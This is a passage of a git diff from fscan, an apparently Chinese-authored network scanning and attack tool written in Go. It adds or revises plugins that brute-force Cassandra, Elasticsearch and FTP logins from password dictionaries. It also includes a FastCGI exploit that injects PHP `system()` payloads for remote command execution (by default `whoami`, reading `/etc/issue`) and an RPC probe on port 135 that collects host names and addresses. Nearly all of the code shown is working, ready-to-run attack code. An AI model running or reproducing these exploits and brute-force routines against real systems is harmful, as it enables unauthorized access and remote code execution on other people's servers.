padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(data, padtext...)
|
||||
}
|
||||
|
||||
// PKCS7UnPadding 去除PKCS7填充
|
||||
func PKCS7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("数据长度为0")
|
||||
}
|
||||
|
||||
padding := int(data[length-1])
|
||||
if padding > length {
|
||||
return nil, errors.New("填充长度无效")
|
||||
}
|
||||
|
||||
return data[:length-padding], nil
|
||||
}
|
178
Plugins/Cassandra.go
Normal file
178
Plugins/Cassandra.go
Normal file
@ -0,0 +1,178 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/gocql/gocql"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func CassandraScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
maxRetries := Common.MaxRetries
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
|
||||
// 首先测试无认证访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||
}
|
||||
|
||||
flag, err := CassandraConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
successMsg := fmt.Sprintf("Cassandra服务 %s 无认证访问成功", target)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存无认证访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "cassandra",
|
||||
"auth_type": "anonymous",
|
||||
"type": "unauthorized-access",
|
||||
"description": "数据库允许无认证访问",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return err
|
||||
}
|
||||
if err != nil && Common.CheckErrs(err) != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["cassandra"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["cassandra"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, err := CassandraConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("Cassandra服务 %s 爆破成功 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存爆破成功结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "cassandra",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("Cassandra服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v", target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// CassandraConn 清理后的连接测试函数
|
||||
func CassandraConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
cluster := gocql.NewCluster(host)
|
||||
cluster.Port, _ = strconv.Atoi(port)
|
||||
cluster.Timeout = timeout
|
||||
cluster.ProtoVersion = 4
|
||||
cluster.Consistency = gocql.One
|
||||
|
||||
if user != "" || pass != "" {
|
||||
cluster.Authenticator = gocql.PasswordAuthenticator{
|
||||
Username: user,
|
||||
Password: pass,
|
||||
}
|
||||
}
|
||||
|
||||
cluster.RetryPolicy = &gocql.SimpleRetryPolicy{NumRetries: 3}
|
||||
|
||||
session, err := cluster.CreateSession()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer session.Close()
|
||||
|
||||
var version string
|
||||
if err := session.Query("SELECT peer FROM system.peers").Scan(&version); err != nil {
|
||||
if err := session.Query("SELECT now() FROM system.local").Scan(&version); err != nil {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
1050
Plugins/DCInfo.go
Normal file
1050
Plugins/DCInfo.go
Normal file
File diff suppressed because it is too large
Load Diff
9
Plugins/DCInfoUnix.go
Normal file
9
Plugins/DCInfoUnix.go
Normal file
@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package Plugins
|
||||
|
||||
import "github.com/shadow1ng/fscan/Common"
|
||||
|
||||
func DCInfoScan(info *Common.HostInfo) (err error) {
|
||||
return nil
|
||||
}
|
176
Plugins/Elasticsearch.go
Normal file
176
Plugins/Elasticsearch.go
Normal file
@ -0,0 +1,176 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func ElasticScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试无认证访问...")
|
||||
|
||||
// 首先测试无认证访问
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试无认证访问", retryCount+1))
|
||||
}
|
||||
flag, err := ElasticConn(info, "", "")
|
||||
if flag && err == nil {
|
||||
successMsg := fmt.Sprintf("Elasticsearch服务 %s 无需认证", target)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存无认证访问结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "elasticsearch",
|
||||
"type": "unauthorized-access",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return err
|
||||
}
|
||||
if err != nil && Common.CheckErrs(err) != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
return err
|
||||
}
|
||||
continue
|
||||
}
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["elastic"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)",
|
||||
totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历所有用户名密码组合
|
||||
for _, user := range Common.Userdict["elastic"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
flag, err := ElasticConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{flag, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
var err error
|
||||
select {
|
||||
case result := <-done:
|
||||
err = result.err
|
||||
if result.success && err == nil {
|
||||
successMsg := fmt.Sprintf("Elasticsearch服务 %s 爆破成功 用户名: %v 密码: %v",
|
||||
target, user, pass)
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存弱密码结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "elasticsearch",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
err = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("Elasticsearch服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
target, user, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
continue
|
||||
}
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// ElasticConn 尝试 Elasticsearch 连接
|
||||
func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
host, port := info.Host, info.Ports
|
||||
timeout := time.Duration(Common.Timeout) * time.Second
|
||||
|
||||
client := &http.Client{
|
||||
Timeout: timeout,
|
||||
Transport: &http.Transport{
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
},
|
||||
}
|
||||
|
||||
baseURL := fmt.Sprintf("http://%s:%s", host, port)
|
||||
req, err := http.NewRequest("GET", baseURL+"/_cat/indices", nil)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
if user != "" || pass != "" {
|
||||
auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass))
|
||||
req.Header.Add("Authorization", "Basic "+auth)
|
||||
}
|
||||
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
return resp.StatusCode == 200, nil
|
||||
}
|
188
Plugins/FTP.go
Normal file
188
Plugins/FTP.go
Normal file
@ -0,0 +1,188 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/jlaffaye/ftp"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func FtpScan(info *Common.HostInfo) (tmperr error) {
|
||||
if Common.DisableBrute {
|
||||
return
|
||||
}
|
||||
|
||||
maxRetries := Common.MaxRetries
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
Common.LogDebug("尝试匿名登录...")
|
||||
|
||||
// 尝试匿名登录
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
success, dirs, err := FtpConn(info, "anonymous", "")
|
||||
if success && err == nil {
|
||||
Common.LogSuccess("匿名登录成功!")
|
||||
|
||||
// 保存匿名登录结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ftp",
|
||||
"username": "anonymous",
|
||||
"password": "",
|
||||
"type": "anonymous-login",
|
||||
"directories": dirs,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
return nil
|
||||
}
|
||||
errlog := fmt.Sprintf("ftp %s %v", target, err)
|
||||
Common.LogError(errlog)
|
||||
break
|
||||
}
|
||||
|
||||
totalUsers := len(Common.Userdict["ftp"])
|
||||
totalPass := len(Common.Passwords)
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
|
||||
|
||||
tried := 0
|
||||
total := totalUsers * totalPass
|
||||
|
||||
// 遍历用户名密码组合
|
||||
for _, user := range Common.Userdict["ftp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
tried++
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
|
||||
|
||||
var lastErr error
|
||||
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
if retryCount > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
|
||||
}
|
||||
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
dirs []string
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func(user, pass string) {
|
||||
success, dirs, err := FtpConn(info, user, pass)
|
||||
select {
|
||||
case done <- struct {
|
||||
success bool
|
||||
dirs []string
|
||||
err error
|
||||
}{success, dirs, err}:
|
||||
default:
|
||||
}
|
||||
}(user, pass)
|
||||
|
||||
select {
|
||||
case result := <-done:
|
||||
if result.success && result.err == nil {
|
||||
successLog := fmt.Sprintf("FTP服务 %s 成功爆破 用户名: %v 密码: %v", target, user, pass)
|
||||
Common.LogSuccess(successLog)
|
||||
|
||||
// 保存爆破成功结果
|
||||
vulnResult := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "ftp",
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"type": "weak-password",
|
||||
"directories": result.dirs,
|
||||
},
|
||||
}
|
||||
Common.SaveResult(vulnResult)
|
||||
return nil
|
||||
}
|
||||
lastErr = result.err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
lastErr = fmt.Errorf("连接超时")
|
||||
}
|
||||
|
||||
// 错误处理
|
||||
if lastErr != nil {
|
||||
errlog := fmt.Sprintf("FTP服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
target, user, pass, lastErr)
|
||||
Common.LogError(errlog)
|
||||
|
||||
if strings.Contains(lastErr.Error(), "Login incorrect") {
|
||||
break
|
||||
}
|
||||
|
||||
if strings.Contains(lastErr.Error(), "too many connections") {
|
||||
Common.LogDebug("连接数过多,等待5秒...")
|
||||
time.Sleep(5 * time.Second)
|
||||
if retryCount < maxRetries-1 {
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried))
|
||||
return tmperr
|
||||
}
|
||||
|
||||
// FtpConn 建立FTP连接并尝试登录
|
||||
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
|
||||
Host, Port := info.Host, info.Ports
|
||||
|
||||
// 建立FTP连接
|
||||
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return false, nil, err
|
||||
}
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Quit()
|
||||
}
|
||||
}()
|
||||
|
||||
// 尝试登录
|
||||
if err = conn.Login(user, pass); err != nil {
|
||||
return false, nil, err
|
||||
}
|
||||
|
||||
// 获取目录信息
|
||||
dirs, err := conn.List("")
|
||||
if err == nil && len(dirs) > 0 {
|
||||
directories = make([]string, 0, min(6, len(dirs)))
|
||||
for i := 0; i < len(dirs) && i < 6; i++ {
|
||||
name := dirs[i].Name
|
||||
if len(name) > 50 {
|
||||
name = name[:50]
|
||||
}
|
||||
directories = append(directories, name)
|
||||
}
|
||||
}
|
||||
|
||||
return true, directories, nil
|
||||
}
|
||||
|
||||
// min 返回两个整数中的较小值
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
@ -6,7 +6,7 @@ import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
@ -18,34 +18,43 @@ import (
|
||||
//https://xz.aliyun.com/t/9544
|
||||
//https://github.com/wofeiwo/webcgi-exploits
|
||||
|
||||
func FcgiScan(info *common.HostInfo) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
// FcgiScan 执行FastCGI服务器漏洞扫描
|
||||
func FcgiScan(info *Common.HostInfo) error {
|
||||
// 如果设置了暴力破解模式则跳过
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 设置目标URL路径
|
||||
url := "/etc/issue"
|
||||
if common.Path != "" {
|
||||
url = common.Path
|
||||
if Common.RemotePath != "" {
|
||||
url = Common.RemotePath
|
||||
}
|
||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
|
||||
// 构造PHP命令注入代码
|
||||
var reqParams string
|
||||
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
||||
var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记
|
||||
|
||||
switch {
|
||||
case common.Command == "read":
|
||||
reqParams = ""
|
||||
case common.Command != "":
|
||||
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
|
||||
case Common.Command == "read":
|
||||
reqParams = "" // 读取模式
|
||||
case Common.Command != "":
|
||||
reqParams = fmt.Sprintf("<?php system('%s');die('%s');?>", Common.Command, cutLine) // 自定义命令
|
||||
default:
|
||||
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
||||
reqParams = fmt.Sprintf("<?php system('whoami');die('%s');?>", cutLine) // 默认执行whoami
|
||||
}
|
||||
|
||||
env := make(map[string]string)
|
||||
|
||||
env["SCRIPT_FILENAME"] = url
|
||||
env["DOCUMENT_ROOT"] = "/"
|
||||
env["SERVER_SOFTWARE"] = "go / fcgiclient "
|
||||
env["REMOTE_ADDR"] = "127.0.0.1"
|
||||
env["SERVER_PROTOCOL"] = "HTTP/1.1"
|
||||
// 设置FastCGI环境变量
|
||||
env := map[string]string{
|
||||
"SCRIPT_FILENAME": url,
|
||||
"DOCUMENT_ROOT": "/",
|
||||
"SERVER_SOFTWARE": "go / fcgiclient ",
|
||||
"REMOTE_ADDR": "127.0.0.1",
|
||||
"SERVER_PROTOCOL": "HTTP/1.1",
|
||||
}
|
||||
|
||||
// 根据请求类型设置对应的环境变量
|
||||
if len(reqParams) != 0 {
|
||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
||||
env["REQUEST_METHOD"] = "POST"
|
||||
@ -54,61 +63,55 @@ func FcgiScan(info *common.HostInfo) {
|
||||
env["REQUEST_METHOD"] = "GET"
|
||||
}
|
||||
|
||||
fcgi, err := New(addr, common.Timeout)
|
||||
// 建立FastCGI连接
|
||||
fcgi, err := New(addr, Common.Timeout)
|
||||
defer func() {
|
||||
if fcgi.rwc != nil {
|
||||
fcgi.rwc.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
fmt.Printf("FastCGI连接失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
return err
|
||||
}
|
||||
|
||||
// 发送FastCGI请求
|
||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
fmt.Printf("FastCGI请求失败 %v:%v - %v\n", info.Host, info.Ports, err)
|
||||
return err
|
||||
}
|
||||
|
||||
//1
|
||||
//Content-type: text/html
|
||||
//
|
||||
//uid=1001(www) gid=1001(www) groups=1001(www)
|
||||
|
||||
//2
|
||||
//Status: 404 Not Found
|
||||
//Content-type: text/html
|
||||
//
|
||||
//File not found.
|
||||
//Primary script unknown
|
||||
|
||||
//3
|
||||
//Status: 403 Forbidden
|
||||
//Content-type: text/html
|
||||
//
|
||||
//Access denied.
|
||||
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
||||
// 处理响应结果
|
||||
output := string(stdout)
|
||||
var result string
|
||||
var output = string(stdout)
|
||||
if strings.Contains(output, cutLine) { //命令成功回显
|
||||
|
||||
if strings.Contains(output, cutLine) {
|
||||
// 命令执行成功,提取输出结果
|
||||
output = strings.SplitN(output, cutLine, 2)[0]
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
||||
info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
|
||||
result = fmt.Sprintf("FastCGI漏洞确认 %v:%v\n命令输出:\n%v",
|
||||
info.Host, info.Ports, output)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
|
||||
Common.LogSuccess(result)
|
||||
} else if strings.Contains(output, "File not found") ||
|
||||
strings.Contains(output, "Content-type") ||
|
||||
strings.Contains(output, "Status") {
|
||||
// 目标存在FastCGI服务但可能路径错误
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v\n错误信息:\n%v\n建议尝试其他路径,例如: -path /www/wwwroot/index.php",
|
||||
info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
|
||||
result = fmt.Sprintf("FastCGI服务确认 %v:%v\n响应:\n%v",
|
||||
info.Host, info.Ports, output)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
Common.LogSuccess(result)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// for padding so we don't have to allocate all the time
|
||||
@ -183,7 +186,7 @@ type FCGIClient struct {
|
||||
}
|
||||
|
||||
func New(addr string, timeout int64) (fcgi *FCGIClient, err error) {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second)
|
||||
fcgi = &FCGIClient{
|
||||
rwc: conn,
|
||||
keepAlive: false,
|
229
Plugins/FindNet.go
Normal file
229
Plugins/FindNet.go
Normal file
@ -0,0 +1,229 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
var (
|
||||
bufferV1, _ = hex.DecodeString("05000b03100000004800000001000000b810b810000000000100000000000100c4fefc9960521b10bbcb00aa0021347a00000000045d888aeb1cc9119fe808002b10486002000000")
|
||||
bufferV2, _ = hex.DecodeString("050000031000000018000000010000000000000000000500")
|
||||
bufferV3, _ = hex.DecodeString("0900ffff0000")
|
||||
)
|
||||
|
||||
func Findnet(info *Common.HostInfo) error {
|
||||
return FindnetScan(info)
|
||||
}
|
||||
|
||||
func FindnetScan(info *Common.HostInfo) error {
|
||||
target := fmt.Sprintf("%s:%v", info.Host, 135)
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接RPC端口失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
return fmt.Errorf("设置超时失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV1); err != nil {
|
||||
return fmt.Errorf("发送RPC请求1失败: %v", err)
|
||||
}
|
||||
|
||||
reply := make([]byte, 4096)
|
||||
if _, err = conn.Read(reply); err != nil {
|
||||
return fmt.Errorf("读取RPC响应1失败: %v", err)
|
||||
}
|
||||
|
||||
if _, err = conn.Write(bufferV2); err != nil {
|
||||
return fmt.Errorf("发送RPC请求2失败: %v", err)
|
||||
}
|
||||
|
||||
n, err := conn.Read(reply)
|
||||
if err != nil || n < 42 {
|
||||
return fmt.Errorf("读取RPC响应2失败: %v", err)
|
||||
}
|
||||
|
||||
text := reply[42:]
|
||||
found := false
|
||||
for i := 0; i < len(text)-5; i++ {
|
||||
if bytes.Equal(text[i:i+6], bufferV3) {
|
||||
text = text[:i-4]
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if !found {
|
||||
return fmt.Errorf("未找到有效的响应标记")
|
||||
}
|
||||
|
||||
return read(text, info.Host)
|
||||
}
|
||||
|
||||
func HexUnicodeStringToString(src string) string {
|
||||
if len(src)%4 != 0 {
|
||||
src += strings.Repeat("0", 4-len(src)%4)
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
for i := 0; i < len(src); i += 4 {
|
||||
if i+4 > len(src) {
|
||||
break
|
||||
}
|
||||
|
||||
charCode, err := strconv.ParseInt(src[i+2:i+4]+src[i:i+2], 16, 32)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if unicode.IsPrint(rune(charCode)) {
|
||||
result.WriteRune(rune(charCode))
|
||||
}
|
||||
}
|
||||
|
||||
return result.String()
|
||||
}
|
||||
|
||||
func isValidHostname(name string) bool {
|
||||
if len(name) == 0 || len(name) > 255 {
|
||||
return false
|
||||
}
|
||||
|
||||
validHostname := regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9-]*[a-zA-Z0-9]$`)
|
||||
return validHostname.MatchString(name)
|
||||
}
|
||||
|
||||
func isValidNetworkAddress(addr string) bool {
|
||||
// 检查是否为IPv4或IPv6
|
||||
if ip := net.ParseIP(addr); ip != nil {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查是否为有效主机名
|
||||
return isValidHostname(addr)
|
||||
}
|
||||
|
||||
func cleanAndValidateAddress(data []byte) string {
|
||||
// 转换为字符串并清理不可打印字符
|
||||
addr := strings.Map(func(r rune) rune {
|
||||
if unicode.IsPrint(r) {
|
||||
return r
|
||||
}
|
||||
return -1
|
||||
}, string(data))
|
||||
|
||||
// 移除前后空白
|
||||
addr = strings.TrimSpace(addr)
|
||||
|
||||
if isValidNetworkAddress(addr) {
|
||||
return addr
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func read(text []byte, host string) error {
|
||||
encodedStr := hex.EncodeToString(text)
|
||||
|
||||
// 解析主机名
|
||||
var hostName string
|
||||
for i := 0; i < len(encodedStr)-4; i += 4 {
|
||||
if encodedStr[i:i+4] == "0000" {
|
||||
break
|
||||
}
|
||||
hostName += encodedStr[i : i+4]
|
||||
}
|
||||
|
||||
name := HexUnicodeStringToString(hostName)
|
||||
if !isValidHostname(name) {
|
||||
name = ""
|
||||
}
|
||||
|
||||
// 用于收集地址信息
|
||||
